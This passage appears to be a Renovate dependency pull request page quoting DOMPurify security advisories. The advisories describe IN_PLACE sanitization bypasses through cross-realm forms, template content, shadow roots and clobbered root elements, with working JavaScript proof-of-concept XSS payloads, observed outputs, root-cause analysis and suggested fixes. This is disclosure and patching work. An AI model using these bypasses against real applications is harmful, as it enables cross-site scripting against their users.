  "after": {
    "html": "<div id=\"dirty\"><form onmouseover=\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\"><input></form></div>",
    "formOnmouseover": "window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1",
    "xssExecuted": 1
  }
}
PoC 2 — cross-realm <template> content is never walked
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const div = idoc.createElement('div');
  const tpl = idoc.createElement('template');
  tpl.innerHTML = '<img src="x" onerror=' +
    '"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1">';
  div.appendChild(tpl);

  DOMPurify.sanitize(div, { IN_PLACE: true });

  window.__dompurify_template_xss = 0;
  const clone = idoc.importNode(tpl.content, true);
  document.body.appendChild(clone);                        // fires onerror
};
document.body.appendChild(iframe);

Observed:

{
  "before": {
    "templateIsMainRealmHTMLTemplateElement": false,
    "contentIsMainRealmDocumentFragment": false,
    "contentIsForeignRealmDocumentFragment": true
  },
  "after": {
    "templateInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\">",
    "xssExecuted": 1
  }
}
PoC 3 — cross-realm attached shadow root is never walked
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const host = idoc.createElement('div');
  host.attachShadow({ mode: 'open' }).innerHTML =
    '<img src=x onerror="window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1"><b>safe text</b>';

  DOMPurify.sanitize(host, { IN_PLACE: true });

  window.__dompurify_shadow_xss = 0;
  document.body.appendChild(host);                          // shadow activates, onerror fires
};
document.body.appendChild(iframe);

Observed:

{
  "before": {
    "hostIsMainRealmElement": false,
    "shadowRootIsMainRealmDocumentFragment": false,
    "shadowRootIsForeignRealmDocumentFragment": true
  },
  "after": {
    "shadowRootInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"><b>safe text</b>",
    "xssExecuted": 1
  }
}

All three PoCs run cleanly against dist/purify.js built from current main HEAD 89da34e.

Impact
Direct

Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for <base href> isolation, document.write sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with IN_PLACE: true is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:

  • Form root attributesonmouseover, onfocus, onclick, action="javascript:...", formaction=, target=, id= (DOM-clobbering target), and the full attribute-allowlist set, because _sanitizeAttributes walks a clobbered .attributes instead of the real NamedNodeMap.
  • <template> content<img onerror>, <svg><script>, <iframe srcdoc>, etc., because the inert template tree is never recursed into.
  • Attached shadow roots — any markup inside the shadow root, because the shadow walk is skipped entirely.

XSS triggers when the consuming code:

  • Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).
  • Clones template content with importNode / cloneNode(true) / node.appendChild(template.content) into the live DOM.
  • Appends the shadow host to the live document (the shadow root becomes active and <img onerror> fires synchronously during the insertion microtask).
Indirect / second-order
  • DOM-based template engines (Lit, Polymer, Vue, FAST) that often use foreign-realm <template> parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.
  • Editor / WYSIWYG frameworks that render preview content inside a same-origin iframe and then move it into the main document after sanitization.
  • Email/HTML preview libraries that parse received HTML in an isolated iframe to neutralize CSS / <base> / form submission, then sanitize via the main page's DOMPurify.
  • Declarative shadow DOM consumers that adopt a host from one realm into another — the shadow subtree carries the bypass.

The known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound instanceof checks at [A], [B], [C]; current main HEAD is still affected.

Root cause

Per-realm constructors. instanceof X checks the prototype chain against the parent realm's X.prototype. Foreign-realm objects have a different X.prototype and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for IN_PLACE sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: "we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."

Other realm-bound instanceof sites in the same file that should likely be audited as part of the same fix sweep:

element instanceof HTMLFormElement     // src/purify.ts:1122
element.attributes instanceof NamedNodeMap  // src/purify.ts:1126
sr instanceof DocumentFragment         // src/purify.ts:1706
currentNode.content instanceof DocumentFragment  // src/purify.ts:1861
shadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)
currentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)
Suggested fix

Use realm-independent shape checks consistently for any decision made on a node accepted from IN_PLACE:

  1. HTMLFormElement detection — compare via the realm-independent getNodeName cached prototype getter introduced for the recent shadow-root traversal hardening:

    const _isClobbered = function (element: Element): boolean {
      const nn = getNodeName ? getNodeName(element) : element.nodeName;
      if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false;
      // ... rest of the typeof / cached-getter shape checks ...
    };
  2. DocumentFragment detectionnodeType === NODE_TYPE.documentFragment (i.e., 11), not instanceof DocumentFragment. The check is already realm-independent because Node.nodeType is a numeric constant. Same change for the <template>-content and attached-shadow-root recursion sites.

  3. NamedNodeMap detection — read element.attributes via the cached Element.prototype.attributes getter (introduce getAttributes = lookupGetter(ElementPrototype, 'attributes')) and verify nodeType === 11-style shape (length is a number, indexed [i] returns objects with .name/.value strings). Do not rely on instanceof NamedNodeMap.

  4. Element detection at :1296 — replace currentNode instanceof Element with a shape check (getNodeType(currentNode) === NODE_TYPE.element).

The invariant the fix should encode: once IN_PLACE accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe. The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CVE-2026-49459 / GHSA-r47g-fvhr-h676

More information

Details

IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when _forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).

Affected
  • DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
  • Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected:

  • String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside _initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns])
  • IN_PLACE where the root is not an HTMLFormElement
  • IN_PLACE where the attacker cannot place a clobber-named child inside the root
Vulnerability details
Code paths

[A]_forceRemove at src/purify.ts:930-939:

const _forceRemove = function (node: Node): void {
  arrayPush(DOMPurify.removed, { element: node });
  try {
    // eslint-disable-next-line unicorn/prefer-dom-node-remove
    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null
  } catch (_) {
    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op
  }                                           //      when the node has no parent
};

When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B]_sanitizeAttributes at src/purify.ts:1490-1492:

const _sanitizeAttributes = function (currentNode: Element): void {
  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

  const { attributes } = currentNode;

  /* Check if we have attributes; if not we might have a text node */
  if (!attributes || _isClobbered(currentNode)) {
    return;                                   // [B] silently skips ALL attribute checks
  }                                           //     for clobbered nodes
  ...
};

The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in

Note

PR body was truncated to here.

@renovate renovate Bot added dependencies Pull requests that update a dependency file renovate security labels Aug 1, 2026
@renovate
renovate Bot enabled auto-merge (squash) August 1, 2026 16:04
@renovate
renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch 14 times, most recently from 07aaccf to a4e8b1f Compare August 2, 2026 21:41
@renovate
renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch from a4e8b1f to 6ccf3ef Compare August 2, 2026 22:50
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file renovate security

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants